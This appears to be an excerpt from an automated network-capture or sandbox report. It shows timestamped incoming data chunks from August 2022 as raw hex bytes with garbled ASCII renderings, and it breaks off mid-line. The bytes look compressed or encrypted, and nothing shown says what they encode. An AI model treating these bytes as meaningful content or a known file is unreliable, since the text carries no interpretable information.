2022-08-04 11:37:02 UTC	1664	IN	Data Raw: 0c 9c 68 7e 09 dc dc 2f 51 d4 b0 e3 5c 52 c0 14 6a e5 e0 ff cb 6c 3a 78 64 e6 61 df 28 3b 0b bd c0 14 55 62 4f 1d a1 10 c0 f4 35 06 7a 5b ac 84 db 24 e4 00 34 27 8a 62 35 7c 9d db 03 c0 a7 a4 05 01 6c 31 49 5b e5 b7 04 47 b2 63 36 51 29 e1 ac 84 0c c0 17 0c 3c 95 3e 47 00 bc 1b e5 ff 6b c5 0a a5 cd cc 5b 6d bc 74 54 56 6b 19 61 4f 1b 6c 88 13 34 83 d1 81 6d ba 70 1a 59 16 28 fe ff 01 a3 bc 2f 37 d4 85 28 29 d1 eb 81 4e 01 8a e8 72 fe c0 18 27 e4 8b e8 92 e0 25 03 f7 e0 ec d2 ff 18 82 f4 63 a6 83 a7 86 20 70 3c 33 20 01 18 e4 7e 11 d9 0d 28 18 b0 21 2c 02 8c 05 2b ed ef 26 da 01 96 e6 9c 24 de 90 a0 48 b0 71 b4 4a f0 80 e3 41 01 46 05 5b ba ce e0 07 8a a4 c9 08 53 4e ac e6 78 33 2f 95 16 51 9e be 7a ec 0a 99 2e 81 07 59 26 c1 2d 2a 3c 4d 08 80 f9 d7 85 82 Data Ascii: h~/Q\Rjl:xda(;UbO5z[$4'b5\|l1I[Gc6Q)<>Gk[mtTVkaOl4mpY(/7()Nr'%c p<3 ~(!,+&$HqJAF[SNx3/Qz.Y&-*<M
2022-08-04 11:37:02 UTC	1680	IN	Data Raw: de c0 c3 79 cd 39 0b 9d f6 a1 73 aa 1e 57 c7 cc 4f e2 0f b6 5d ff 9e 20 2f 33 1f d4 99 73 ea 19 dd c7 a7 16 1a bb 3c 89 45 b8 d3 f2 c0 4e 76 ea 28 98 41 69 29 8c d7 1e 34 5f 18 a3 fa 25 29 fe fa cb d7 b0 07 ef d4 d8 fc 2f c0 37 88 45 8b de 8f 85 e9 a0 0f eb 0c 8d d0 06 c1 4a 48 ac 26 ec 05 cf 29 66 53 bb 09 1d ef 55 8b 24 7e f9 8b 89 c6 5d b4 38 b7 f9 fe 69 55 95 67 28 12 45 11 3b ec 52 ed 13 58 44 da 11 a0 91 41 58 4d 89 4a 02 e8 b3 de b5 ff fb 2d 94 6a b5 1e 6a e6 4f d3 ea 50 18 97 4a ec 1c e0 2b 3c 24 a0 c6 ef 20 12 70 a4 0e aa 29 7d 7e da fc 20 fe 4a 2e a8 36 bd f8 63 33 b5 73 11 c4 e5 eb ce a8 96 eb 6c bc 33 82 d5 c7 9b b4 1c 8f 30 74 4a 36 bc 2e f0 eb f8 8f 4e 3b b8 37 f4 eb a0 1b 0f 99 1c 43 c6 b0 91 63 3c 2a a2 62 c4 66 45 ab ca 4d c9 0a b2 1b 75 Data Ascii: y9sWO] /3s<ENv(Ai)4_%)/7EJH&)fSU$~]8iUg(E;RXDAXMJ-jjOPJ+<$ p)}~ J.6c3sl30tJ6.N;7Cc<*bfEMu
2022-08-04 11:37:02 UTC	1696	IN	Data Raw: 8f a8 b0 4d 29 4a ef 34 e4 ba 99 7f d8 20 50 17 74 f6 5b fc 55 40 bb d3 a0 47 09 ff 97 6e 4b bf 5b 0b 25 7e 57 eb c4 bc 9f f6 31 17 9e a3 3d 5b 99 e6 02 db d5 40 56 c6 74 17 c9 3e 56 a8 1c 5e ff 77 3b 79 d9 df 9c ea ed 7b 26 bb c9 f2 89 ca c6 1b 27 31 32 de ca 73 ba 4d c0 76 79 12 bd c1 58 e9 37 04 76 7c 09 18 a4 8d 3f 99 d4 36 27 8b 19 d1 19 6a ac 09 2c 24 cc c9 ee 29 4f d7 34 46 a3 a1 28 12 f6 5e cb 99 c2 04 8f 81 be 89 d6 6a 33 c7 3f 84 34 10 81 bf b4 f1 51 6f ad a3 d6 e1 ff cd cb 30 ed c0 bf 6e 6d f4 ff cc 8c c6 0c d1 95 65 eb 15 ed 07 4b f8 02 1f 88 c8 67 76 8d e2 f7 40 a4 3b c5 c0 5a ef 41 80 2d e0 3f 7e 87 66 19 29 b5 de 51 1a 58 0e 5d e5 28 97 ef e3 4a 4c 49 a7 79 d1 24 c9 2b f0 59 b6 49 d3 68 2f 09 3b fd 32 6a d5 51 cf aa 4d 97 75 1a a3 6a 8d 5c Data Ascii: M)J4 Pt[U@GnK[%~W1=[@Vt>V^w;y{&'12sMvyX7v\|?6'j,$)O4F(^j3?4Qo0nmeKgv@;ZA-?~f)QX](JLIy$+YIh/;2jQMuj\
2022-08-04 11:37:02 UTC	1712	IN	Data Raw: 5f eb 79 c5 6f cb 0c 43 86 cd 21 44 3a ba 79 12 26 05 10 14 24 16 fa c3 ae 28 ba 96 f2 a4 5e 22 b2 16 d5 a8 25 32 74 b2 da fd c6 5b 90 95 9d 7f 0b f6 55 97 51 b5 73 62 11 12 46 d5 b5 74 52 51 3e e0 ef b2 17 84 17 35 38 76 31 5b 39 f6 59 97 82 e4 1a fd d1 86 73 d1 63 17 7e e3 cb c8 16 04 e3 74 f0 80 ab a1 89 d2 f2 10 30 aa ef 12 eb 1b fa 80 0e 64 9d 77 1c ca 10 6f 89 d2 cf 96 00 7c 62 08 05 73 05 a1 d8 87 c4 0e 01 4b 2a 32 21 38 43 08 fc f0 ee 0b 84 60 9b 6e e6 e5 4e 16 1f 4a 93 9d 1c f5 01 e0 cd 81 26 7e 80 25 35 66 5d 24 3a f4 44 1f 5b 94 e2 00 df 23 d3 ff db 0a 07 8a 12 88 1f d7 88 03 17 27 96 b7 09 28 2e 77 fe 5d 9d 92 3d 5f ec 3e f3 33 ed ee 2c 7a 44 2f 2b 09 f7 9e 36 bd 47 1d 1c 8e c8 56 13 73 2d 38 09 74 a8 5b e9 21 0b 3a ae 2f 8e 50 54 29 b5 dc b0 Data Ascii: _yoC!D:y&$(^"%2t[UQsbFtRQ>58v1[9Ysc~t0dwo\|bsK*2!8C`nNJ&~%5f]$:D[#'(.w]=_>3,zD/+6GVs-8t[!:/PT)
2022-08-04 11:37:02 UTC	1728	IN	Data Raw: e7 55 90 32 13 fe 9f b8 63 a0 35 11 fa 4a 33 bf 3c 43 2b 9f 53 af 6b 45 76 a5 f0 a9 97 76 2c 49 df 93 bc f8 05 13 11 b5 c4 da c2 44 39 08 41 7d 71 b1 c7 45 08 22 80 be 15 da 2b 8e df 34 2e 43 36 43 cb c5 2b 29 00 8d f5 4f 97 0a 63 95 67 18 0b 21 29 df b4 31 65 ee 6e 1e a8 33 e8 63 f5 6c 2d f2 32 42 a0 5e f7 5e 80 bb b6 1e 96 da 70 03 5d bd 51 73 ef cb 1f 1e 47 2f 21 18 6d c4 9f 21 89 9e 05 5c dc 70 29 18 b5 47 ab 3e b8 5d 4b b8 79 ab 12 2b 16 ef 38 82 33 4e 13 8b 38 25 10 f3 6f 40 4d ec c7 68 bf 16 2c 95 d0 1c 48 98 a6 4c 35 e4 d8 8b 13 9d 6e 60 be 8c 70 ec 7a 12 62 1c 29 ea 9f 82 4e bc 26 81 e1 41 88 c9 21 ef da de 9c 13 f9 bd 93 88 66 44 25 34 bf ce 47 97 62 6c 0f 75 7c 52 6b f5 35 8c a7 7d ea f1 7d e7 6c c5 02 99 09 7e a5 ac 7e a4 54 22 8e 8a c9 14 2a Data Ascii: U2c5J3<C+SkEvv,ID9A}qE"+4.C6C+)Ocg!)1en3cl-2B^^p]QsG/!m!\p)G>]Ky+83N8%o@Mh,HL5n`pzb)N&A!fD%4Gblu\|Rk5}}l~~T"*
2022-08-04 11:37:02 UTC	1744	IN	Data Raw: 25 e0 2b 7b 39 3c 90 10 00 c9 0a ed e6 84 74 e9 72 c0 30 fc 4e 31 df 06 26 bb 01 82 ac 01 79 21 00 e6 9c 24 20 09 fc 58 d1 ff ca 56 00 04 e3 88 e5 10 4a 81 b9 e2 fd 2a a3 7d 89 4d 7f 1c e3 16 44 2b 0a cb ec 16 21 08 9a 8a 3b 0d 97 5e 2e a9 13 a2 0b 5d 74 46 5e 12 0f b7 29 8e fb 12 03 2f ee b2 6f c4 33 29 eb b2 ac f0 37 f7 38 e6 24 b7 d4 fb 58 0e 80 21 f9 f1 40 f5 62 04 1b 4a 19 ea 8e eb 75 5b 2f af 2a 66 12 f6 07 ee f7 71 88 eb 13 1b fb 62 1e 85 40 62 b6 cf 9d d6 b5 71 33 7a 3d 7c 3b f2 24 c8 1b f2 fe c5 79 75 26 fc 82 21 34 24 f5 5b ae c4 13 fb 2f a2 7a 25 63 19 9e cc a9 e8 e2 6e 8b b3 de 67 67 0b 91 33 4a ca 5f 0b 03 3c 24 d5 9e fd 9f 53 a6 60 2b 6c f8 fb 5b 65 ae 38 0a 3e bf d4 b5 da dd 97 b4 84 0f b7 7d bf 3c 58 2b 4f 3a ab 2c 32 33 43 38 94 fa 2f 3a Data Ascii: %+{9<tr0N1&y!$ XVJ}MD+!;^.]tF^)/o3)78$X!@bJu[/fqb@bq3z=\|;$yu&!4$[/z%cngg3J_<$S`+l[e8>}<X+O:,23C8/:
2022-08-04 11:37:02 UTC	1760	IN	Data Raw: 72 5d 9c b7 dd 87 25 ff 17 a4 9e 63 a5 73 f8 c0 e0 e9 d0 6b 70 20 ea cd e2 25 e0 52 14 01 a6 4d 6d 05 fb 10 e3 06 0b 08 61 9f 91 ac 70 5a 7e 67 71 33 68 75 e7 d4 31 af 3d 18 3f 3c 08 d3 25 ca 6c 77 1e 02 4e 33 ee 8e 95 c9 27 55 3e 26 9f 99 63 21 2f b8 f7 f4 bb a9 59 b4 ea ed ad 89 e9 45 99 02 58 8b 0c 2c 4d f0 3b 42 27 e9 f5 b4 cd fe 07 4e 2a a8 64 e7 4f f3 aa 61 59 7c 96 15 26 75 06 02 4c 29 0e 41 b3 19 55 9e 1c 9d aa dd 14 da 5d c5 e1 25 89 9c b2 32 fd b4 25 ec ee 0b 47 fb 63 2f d7 1c 5e 4a 37 ae 69 6b cf 5b 62 ef 3a ce 27 19 54 0f 7a 7f 87 59 e3 d9 f5 1d 4d af 4c 5f 4e 11 3c 34 17 97 e5 d6 a1 17 6e 89 17 7d 53 53 40 5f da 69 29 95 5c 65 79 11 7a b8 99 bd 65 36 7f ac 5d e8 2b 59 13 12 a4 af 68 eb 27 0b 70 76 49 38 c7 01 ad d2 49 4f 2d a7 3d 05 76 a2 ab Data Ascii: r]%cskp %RMmapZ~gq3hu1=?<%lwN3'U>&c!/YEX,M;B'N*dOaY\|&uL)AU]%2%Gc/^J7ik[b:'TzYML_N<4n}SS@_i)\eyze6]+Yh'pvI8IO-=v
2022-08-04 11:37:02 UTC	1776	IN	Data Raw: 71 31 9d fb 39 6c 8e 37 97 d1 31 5a dd c2 7b 57 e7 ef be c8 9d 4a 2f f1 7a b5 fe de 7a 84 34 1a bb 8e 83 12 2b 19 ce e5 12 09 1f 6c 37 7a 12 3d 53 63 be 3c 9c 45 b8 66 5e 28 f7 42 05 21 9f cf 48 bf f6 da d6 bb 8b 06 8f 44 49 2a d7 9e ae 97 79 bb cf a8 33 2c 0b 78 09 2f 95 51 8b eb 55 ce 97 2d 29 2f ff 96 d3 fb 54 3f 13 27 ae 56 51 ae 8e 8a 4b bf 30 a5 96 a1 e9 44 4e ea 20 fb a9 ea 45 16 21 22 9c ad 44 93 0b 93 02 cd a5 2d 36 29 45 06 3e e3 cc 5e fe 3b 8a 4d d0 4e ae 70 35 5d 4d 89 59 2b 93 93 bb 96 3a 54 9b 7c a7 f9 0a 4b 55 e2 05 67 83 a5 fd 1e 32 80 9b f7 c7 7d 5e 58 13 29 f7 44 3a f6 b4 8c f8 7a 18 bf 54 be 5c f4 63 ff 3f e3 fd 9c 2d 9c c7 7b cc 80 f0 e0 44 d4 d8 f4 80 74 2e 03 26 5c fd 05 0e 03 85 00 b2 55 1c d6 ff 49 1f 78 09 e8 fb 25 88 df a4 5c 80 Data Ascii: q19l71Z{WJ/zz4+l7z=Sc<Ef^(B!HDI*y3,x/QU-)/T?'VQK0DN E!"D-6)E>^;MNp5]MY+:T\|KUg2}^X)D:zT\c?-{Dt.&\UIx%\
2022-08-04 11:37:02 UTC	1792	IN	Data Raw: 74 dc 92 ce ff 65 b3 ec f5 04 06 13 eb 3c fb c9 47 6e dd 46 05 11 ba e0 0c 43 17 c8 ff 59 f2 9e 17 54 5d f7 9d de d4 eb 1d 12 e9 ad fe b2 d0 88 50 4c 06 3b 38 0c 7f db b2 3c 90 0d 5a ac da a6 06 3f 9f 53 a5 6b 55 e7 12 c2 5c 2d 87 1e e9 7d a3 d4 99 47 77 e4 34 38 13 30 ef 35 2e 0b c0 ea 70 90 0a 5a 87 c2 b1 12 29 b2 28 50 0f 26 0f 94 ad 81 d6 5d 62 7c 2e e6 ac 76 9b f9 85 dd 60 95 ae f3 4c 24 5b f2 84 b0 42 08 fb 9a bd 14 ac 67 8e 01 82 9c d1 c1 f1 a3 35 24 2e 98 13 31 69 a8 e2 5d d1 83 06 70 3b d4 15 28 d0 cd 4e 27 94 b2 53 6c b1 d8 a4 e1 80 fc a5 3b 91 db d0 4f 03 da ad ec ff d5 ef 3b bc 2d 66 34 04 e5 c0 3c 14 3c 06 bb e9 fc c7 50 36 84 0b ed 43 72 2c 16 29 71 39 00 aa 41 3b 59 4b 25 04 f4 0a 81 75 cb af f9 16 e0 15 5c e0 bf 07 e0 8d 52 e1 50 93 a4 80 Data Ascii: te<GnFCYT]PL;8<Z?SkU\-}Gw4805.pZ)(P&]b\|.v`L$[Bg5$.1i]p;(N'Sl;O;-f4<<P6Cr,)q9A;YK%u\RP
2022-08-04 11:37:02 UTC	1808	IN	Data Raw: 72 71 f5 45 e3 32 40 94 44 b5 08 ab da 0d b7 96 08 3a 3d 76 f2 2f d2 b2 7c 8a 4c 24 27 ff b4 1a 5b fc ff 78 56 66 22 a6 06 97 54 2a d2 d7 a1 b1 98 d8 3f 86 71 b5 85 2b 29 a1 51 ff 2f e9 a0 05 22 fc ac 8c 07 26 85 4e 10 3e 23 67 71 38 41 07 02 fb 5d 10 62 45 e6 78 15 ea 1a 43 08 04 59 c0 2d a5 b1 a2 3e a8 ee b0 75 29 ce 4f ff 9c 06 a5 01 c5 a1 7b 44 9d 84 93 85 2c 0a 45 34 bd 90 83 39 fa 5b 12 15 b4 ca 05 2e a9 4e 00 a8 06 ab 8a 03 54 14 05 3d 70 3a 5a bf 24 bd f0 74 a8 00 05 ad 26 60 ed e7 04 9c f2 3e 9c 36 9a 34 2d 48 64 ae e5 27 c3 8c 61 88 88 3f fc 54 b4 bf ec ea 4f 34 de 88 b0 1e 63 be 24 b6 35 85 f2 80 8e 8e 60 09 18 a4 53 23 17 ee 34 8a 91 03 f3 e5 82 28 a6 5a 80 74 c8 ee 1b 07 bd d3 c9 26 dc 80 25 e9 44 2f ed 26 5c 03 c4 81 ce 32 0c 70 86 74 5a 15 Data Ascii: rqE2@D:=v/\|L$'[xVf"T*?q+)Q/"&N>#gq8A]bExCY->u)O{D,E49[.NT=p:Z$t&`>64-Hd'a?TO4c$5`S#4(Zt&%D/&\2ptZ
2022-08-04 11:37:02 UTC	1824	IN	Data Raw: 2d e6 7a d9 0b 2a 0a 4e 05 08 2f 86 53 84 7d 0f 68 06 4b 7f 56 d3 2b 81 0f 06 ea b2 c9 93 a3 25 80 68 46 12 e9 3c 9d 27 71 b9 70 d8 63 5f f7 03 d1 ff c9 c1 e1 02 b9 d9 81 d8 3e 4f 98 c3 5b 29 08 ca 44 80 51 68 9c 9d f7 6c b5 20 3c be fd a3 fe 52 67 83 1f 5e 5a fe 00 8e 63 ef 4f 81 c6 10 1d d0 ff 7f 89 e6 31 8f a0 83 c1 ee 04 1c 12 b4 d3 5f 59 ef 50 45 30 f6 40 36 89 b1 07 07 27 29 f2 5e e9 09 fb b4 83 40 19 bb 7f a8 b3 3f b4 9f 41 0b 14 3e 64 c7 5d 1d 53 f3 fc 6f 19 93 50 08 10 41 fc 1b 8b 62 20 1e f3 9a b5 1a 04 a3 2f 85 e4 47 4c 0c 46 1f 7c d9 11 2e ba 95 24 99 08 93 0c df 98 3a 29 5e 51 bd 80 c6 66 d2 70 c1 28 0a 23 9c b8 8b 20 26 76 e9 0f cf dc 52 c0 c0 18 60 b0 f4 12 e6 95 db ab b9 78 8c 12 67 78 fc f8 c1 a8 d8 42 9c a1 f2 36 46 d5 14 b7 d1 fd 64 5b Data Ascii: -z*N/S}hKV+%hF<'qpc_>O[)DQhl <Rg^ZcO1_YPE0@6')^@?A>d]SoPAb /GLF\|.$:)^Qfp(# &vR`xgxB6Fd[
2022-08-04 11:37:02 UTC	1840	IN	Data Raw: 02 60 32 6b e5 96 48 45 a4 1c ca 20 11 db 55 ff 3a 9e 80 4c 15 7b 78 fc bb 36 4f 47 ba 29 77 00 b2 4d 96 a4 0d 4e ff 9c 11 4a 2a a9 96 c0 3e 7a 39 65 6f 0a 15 07 44 e0 42 83 fd 0b d5 f2 e9 da f5 6f a0 74 ac 00 6b 72 3d 7f a9 fc 07 8f 7f b5 12 a7 c4 ba 40 0a 41 01 90 1c fa 0d 43 88 13 d9 bc c8 22 82 62 f5 1e 28 83 cc 74 49 02 a2 00 ec 24 b8 78 a7 9c 69 00 e4 0e 5e 44 34 cd 74 1f 01 47 37 16 ea 79 b1 ed 40 ac c5 e2 1a 00 dd 54 cc 57 ad bb 4a 82 13 12 43 74 02 18 d2 7f 05 7f 4c 62 5f 88 ec f4 84 df 04 04 7b 02 81 ce eb 2b 3b ed 41 97 be 98 42 ea 27 f0 fe f7 9b 91 e4 fb e7 99 14 5c 2f 10 93 ee ca 99 09 90 31 06 75 73 5e a0 26 62 2b 19 a5 7f d7 46 1e 5e 83 af 4f 53 2e c2 eb ff d9 c6 20 28 7b 0e 10 0d e4 db fc ff 40 60 0b 2c c1 29 40 70 98 68 8d 18 0a e8 d4 41 Data Ascii: `2kHE U:L{x6OG)wMNJ*>z9eoDBotkr=@AC"b(tI$xi^D4tG7y@TWJCtLb_{+;AB'\/1us^&b+F^OS. ({@`,)@phA
2022-08-04 11:37:02 UTC	1856	IN	Data Raw: 0b fc bb 5b 7a a0 d8 00 3d 8c 17 2c 80 9d 62 c1 58 20 57 b2 6c 18 20 ba b5 c5 3e 80 ee 97 16 27 6e 9c 9d 07 a2 a4 49 d7 71 63 e4 9b c4 cc ab e3 e0 61 18 81 90 a3 a5 1c 75 45 5e ba 43 72 9d fd 18 8c f2 2e 00 6c 2c d3 db 43 02 f6 31 00 77 c0 38 4d b9 94 12 a7 9d 5f b1 45 d9 c2 30 31 45 e9 7e 28 68 2c 99 96 b1 34 e5 1d 3a bf 78 91 56 74 52 85 63 c5 07 8e e0 62 a9 d0 c8 5c 6c ac 95 d4 df 0c 5f 7c 50 15 63 a0 1c e5 cd c6 55 97 fd 13 25 c9 67 09 50 9e f7 20 86 95 7e dc 86 d9 fb a7 6e 04 0a 4c 93 9e 44 fb 70 66 c6 ea f3 4a ff aa 69 66 7d a6 cd ce 35 8b 10 3a c4 73 14 6f 11 0c 44 7a d0 69 86 18 24 b9 cd a8 b2 7f 59 fe 00 07 15 28 ac c7 cb 64 5a ba 09 09 38 9b 9a fd 71 06 86 f7 9f fc 54 12 01 70 dd 20 86 46 07 c3 f3 3e eb 66 97 0c 24 44 0f ac 0b cc 3d 53 70 e3 54 Data Ascii: [z=,bX Wl >'nIqcauE^Cr.l,C1w8M_E01E~(h,4:xVtRcb\l_\|PcU%gP ~nLDpfJif}5:soDzi$Y(dZ8qTp F>f$D=SpT
2022-08-04 11:37:02 UTC	1872	IN	Data Raw: 60 73 24 e3 59 48 13 00 a3 1f 75 f0 43 1e c0 f9 1c 9d e2 05 2f fd 9c 28 10 30 a0 f9 d6 e9 95 4b b8 e4 5f 8e 09 09 a1 78 e8 df 94 80 09 04 c0 1a 52 80 5c 0b d4 85 aa bf fe 08 70 8d 62 43 cf 4a ec 07 f0 9a 91 de 86 7d 9c 9f 55 96 77 40 d7 fa 9d 5d 1c 55 4b 0b aa 2d 29 6a b1 9f 2b ac b6 f1 41 52 ca 46 32 1c 1d 30 2d 2f 55 3e 8a 47 04 03 68 f2 ca ff 1f a8 2c 4d 2f 4e 6b 69 96 6b b3 49 92 16 45 ba 6d 39 3b bf 3a a8 5a b8 a4 a0 39 2a 5f 43 3b e4 8a c1 5a c6 57 3a 62 c3 8e d9 5b dc 44 ec 0d 10 9d c7 29 40 68 42 0b 31 4e 3f 39 e0 10 62 87 56 ff 46 4e e5 a8 d7 ec 68 0a 09 19 3d 7d 35 2d 76 a7 ed ea 92 15 b9 ec 67 b4 bf de 0c 13 fb c0 af f0 39 8d 05 50 32 30 5e d2 c0 25 f9 11 c5 02 98 38 4f d5 e1 03 e8 7f f2 1d c0 20 96 0a b2 40 6d 25 36 fd 71 a6 09 d9 05 52 2f b4 Data Ascii: `s$YHuC/(0K_xR\pbCJ}Uw@]UK-)j+ARF20-/U>Gh,M/NkikIEm9;:Z9*_C;ZW:b[D)@hB1N?9bVFNh=}5-vg9P20^%8O @m%6qR/
2022-08-04 11:37:02 UTC	1888	IN	Data Raw: 55 ec ea 39 e1 48 36 7c 38 12 7c 4d 02 40 bc 5f 27 d0 b4 1c 02 1f 11 00 bb f8 7b bd 9b 61 73 34 c8 18 19 38 3e 7c 20 a3 e7 02 21 04 08 08 ab 39 e4 e8 6c a0 c4 4d b2 f8 17 7c be 7f 89 3c 30 f4 3f 28 4c 2d d0 80 bc 04 cc b9 a8 06 a2 68 a6 f8 80 20 1c 50 0b c0 99 ec 7a 9c 78 21 5e ae 1a c7 19 68 dc 40 ec 61 fb 10 7c b0 39 c0 79 c3 65 0b 68 1f 8c fc 46 10 60 23 28 88 be 51 90 07 c8 31 50 bd a7 68 88 88 d2 62 26 a8 6c 10 23 07 ed 62 b0 ce 85 f0 97 f0 98 8f 46 d4 c4 7f 73 6d cd 72 0e 3e de 47 16 63 cc 32 c4 c0 4c a8 24 56 b8 58 92 6e 02 3c 63 36 06 78 cc a0 b0 35 39 25 76 38 25 10 18 d5 30 f0 10 2f 42 d4 b2 b7 11 17 5a 78 23 07 c4 72 3c 66 85 08 eb cb a0 d0 5e 08 4a e8 77 0c 9a 75 98 44 3c 12 f8 9c e1 40 d4 31 d6 b8 36 32 74 d4 1d 34 50 d5 56 9b b6 50 04 35 15 Data Ascii: U9H6\|8\|M@_'{as48>\| !9lM\|<0?(L-h Pzx!^h@a\|9yehF`#(Q1Phb&l#bFsmr>Gc2L$VXn<c6x59%v8%0/BZx#r<f^JwuD<@162t4PVP5
2022-08-04 11:37:02 UTC	1904	IN	Data Raw: 9b 88 87 32 f0 46 fd c5 30 80 29 3d 02 34 fd 90 95 59 0c ad e2 b8 7d 61 34 87 d0 63 d1 b5 4b 48 9a 3f 7f ec b4 27 67 fa a0 c4 7d 9b 27 d9 9f 59 68 a7 7e f4 c4 c4 92 38 85 78 dc b7 64 d4 12 43 c1 2e f4 08 4b 44 9d da 2d 26 fd 40 a4 39 7a 78 38 3c 7c 3b 0c 65 15 4f 59 ff 49 c3 84 64 19 2f 52 fd c0 13 af c3 f4 a4 63 4a 02 c5 54 ea cc 24 4b 82 f6 7c 0c d8 93 81 c3 48 04 b8 24 c7 04 0c 4c a7 08 5c 40 b7 d4 bf 5b 80 93 3a a9 3c a5 83 f4 80 26 38 c9 64 0a f8 f0 c7 01 3c 64 e4 57 1e 70 68 ec 71 32 bf 02 04 f4 36 44 e4 01 b8 92 11 7c 0a f2 65 db c0 63 32 97 f8 03 04 b3 fa 6f db 67 eb 00 2c 33 9f c0 11 32 e8 02 00 e4 ff bb 46 62 fc bc b0 3e d9 65 2f b8 c0 70 7b 4d 77 12 1e 02 22 11 dc a2 40 74 70 7a 4f 06 c0 00 fa 51 21 77 ec e6 d8 5b 4d 95 e8 72 01 18 7c 3e 01 14 Data Ascii: 2F0)=4Y}a4cKH?'g}'Yh~8xdC.KD-&@9zx8<\|;eOYId/RcJT$K\|H$L\@[:<&8d<dWphq26D\|ec2og,32Fb>e/p{Mw"@tpzOQ!w[Mr\|>
2022-08-04 11:37:02 UTC	1920	IN	Data Raw: ef d0 e0 99 1c 7b b8 a5 54 f9 90 1a 90 28 45 3f 7c c0 4c cc 60 61 ed e4 28 13 91 84 ad 80 28 01 d4 32 02 60 45 40 2d 3f 21 c4 4c 66 08 e0 38 7a 6f 49 1a 18 13 62 b3 0b 70 21 5e 18 a6 9c a6 1c 2d 72 b4 24 9a 3f 18 6f 90 80 ed 9c 20 c2 66 98 a4 f8 3d 01 6e b1 0c 40 f9 b9 71 3f 00 d8 73 38 f7 13 e2 0b f5 84 c1 5b e0 c8 6f 7d 98 24 03 be bf 4a c0 7b 39 73 40 07 92 40 22 14 43 b3 59 b2 02 90 58 f1 bf 9a d1 40 fc c1 63 02 07 eb a7 65 7f 76 f0 bc 98 e4 0f 8e b6 f8 58 1c ed d5 a7 a0 83 41 fc 3f c0 6b d9 78 11 88 9a 6f 20 58 58 60 ac 28 46 c0 61 fb 00 62 97 65 3f f6 b7 e7 a6 2e 3c 39 65 0d f8 5e 40 f0 77 59 49 d2 b8 2d 70 60 60 fb 3f 0b 83 a7 7a 81 7c 80 89 14 fd 09 b4 d5 3e 90 eb 1e c8 21 12 8d ae 94 28 80 20 b3 32 33 9f 22 d0 bc 62 41 e8 01 7f b0 cc 49 01 63 37 Data Ascii: {T(E?\|L`a((2`E@-?!Lf8zoIbp!^-r$?o f=n@q?s8[o}$J{9s@@"CYX@cevXA?kxo XX`(Fabe?.<9e^@wYI-p``?z\|>!( 23"bAIc7
2022-08-04 11:37:02 UTC	1936	IN	Data Raw: ec 12 27 68 48 c0 4f 3a ec 7c 8b d0 82 44 fc 52 fa 44 40 a4 3e 40 56 76 3a ac dc 12 5f db 49 5c 68 77 65 08 25 85 0c 83 e2 d8 27 25 80 58 f3 78 90 5f e9 3a 09 90 93 d6 cc 8f 79 8f 84 23 cc 81 ec 64 b4 59 b8 30 70 40 00 c4 03 b2 ba 01 dd f8 b8 0e ff d9 39 76 57 ac 84 97 ba c2 9c dd 5a 28 70 50 13 f2 d8 57 b0 88 32 4b 9a 92 20 9d 71 64 15 ae 64 09 24 7c 38 d6 b4 01 02 85 de 45 78 7c dc 16 6f f3 af 89 f8 3a a9 f0 4f a0 d4 76 12 8d 2e 6c 49 ec b9 0b d4 70 84 e0 dc 5b 38 ab 2a 8c 02 5b ea 57 ef 14 5f 89 8c f5 e4 94 04 86 bb b0 dc 8c c2 39 20 54 38 44 9c 01 42 60 bf de 42 a4 5e 76 04 42 84 1a 78 fc 9d 62 b4 55 74 ec 1a 0f d1 d7 e9 38 4b fd e6 f7 c2 7a 7c b8 91 e4 12 0b b1 2d 84 48 38 63 5a 04 b3 f8 27 81 71 bc 38 b8 a3 e0 50 6d 7d ed 29 a0 a8 da 64 5a a0 ef 21 Data Ascii: 'hHO:\|DRD@>@Vv:_I\hwe%'%Xx_:y#dY0p@9vWZ(pPW2K qdd$\|8Ex\|o:Ov.lIp[8*[W_9 T8DB`B^vBxbUt8Kz\|-H8cZ'q8Pm})dZ!
2022-08-04 11:37:02 UTC	1952	IN	Data Raw: 12 68 87 b8 30 94 31 35 78 df 51 1f 97 18 d7 18 db 81 12 fa bb b0 83 54 be dc 02 7a 3a 9c e0 24 bc 75 13 1a 76 53 ea 00 40 46 80 e7 aa 5a 24 82 4b a4 3c b0 dd f0 5b e4 63 79 7a 24 a7 f3 34 09 bc fd 24 c4 c0 80 a8 5d cf eb 62 7b 40 66 8b 5c fc 07 9a 9f 65 3e c6 d8 10 80 3e 4c 0a f5 65 18 f0 eb be 80 00 3e 4e 01 17 f8 46 d9 44 e4 c3 f9 80 14 d4 dc 7a 90 0c 06 ee f8 5a 19 71 20 7c 5b 54 b7 d8 62 30 38 58 51 e3 73 72 18 b8 4d 03 a8 c8 09 0a 62 84 59 c0 80 9e f3 19 7c a9 91 2a 35 90 aa 8f 7c d7 ef da 70 cf f9 82 25 f5 14 fd f8 28 c5 60 e1 b3 f5 d0 84 20 2d 15 7f c2 8c 9e 40 94 e0 a9 62 37 49 98 c3 b1 14 3f c0 a5 7c 6e 02 6e 49 4b f6 54 03 06 f6 9f fd 07 38 ed 81 ca 39 b0 a4 a0 e3 bf ea 02 4f b2 f3 04 26 46 68 38 cf bd dc 2e 11 2c 16 85 ff 12 08 ab 0e 30 76 44 Data Ascii: h015xQTz:$uvS@FZ$K<[cyz$4$]b{@f\e>>Le>NFDzZq \|[Tb08XQsrMbY\|*5\|p%(` -@b7I?\|nnIKT89O&Fh8.,0vD
2022-08-04 11:37:02 UTC	1968	IN	Data Raw: ef 86 10 70 17 ff dc 05 69 0e a9 45 40 b2 1d 42 08 e0 f2 2c 18 40 2b 43 3c 08 50 5b 4b 61 20 83 5a 0c b0 21 a2 69 b8 10 ba 78 df 08 c9 87 c2 d0 96 19 20 21 47 10 08 f0 c6 b4 86 77 c0 43 c3 08 90 9b d2 61 60 7a e1 0c 40 21 51 f0 be 10 20 ff c1 50 e7 0d aa 51 28 a6 1c e2 ee 20 88 08 b0 0d 43 3a 08 a0 b5 48 61 e0 55 57 0c 60 21 ee 65 84 50 7f 74 30 90 08 83 86 10 40 8a 91 c2 60 04 a0 1b 87 c4 ae 30 20 e2 bc 86 10 c0 45 cb c2 f0 a2 d9 18 c0 f6 43 e7 7c 79 44 86 08 50 8a 04 ab 41 10 c9 12 0c 90 e0 21 86 7d d0 46 2f 10 59 3d c2 a0 7b 4b 18 40 96 43 59 08 b0 a9 67 61 10 b6 75 0c 60 21 bb 83 84 a0 b9 91 30 d0 b0 9f 86 e0 a1 43 ad 4f 69 90 18 04 06 07 98 8a 13 33 82 41 2e 4b 85 e8 24 e0 3c 86 89 00 ce 49 57 d9 84 0c a7 f1 f0 e4 3a 0c 2c bb 6a ac 20 